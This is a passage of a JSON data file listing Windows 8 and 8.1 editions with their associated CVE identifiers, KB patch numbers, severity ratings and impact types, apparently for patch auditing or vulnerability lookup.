Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for 32-bit Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121461","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121461","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for x64-based Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of 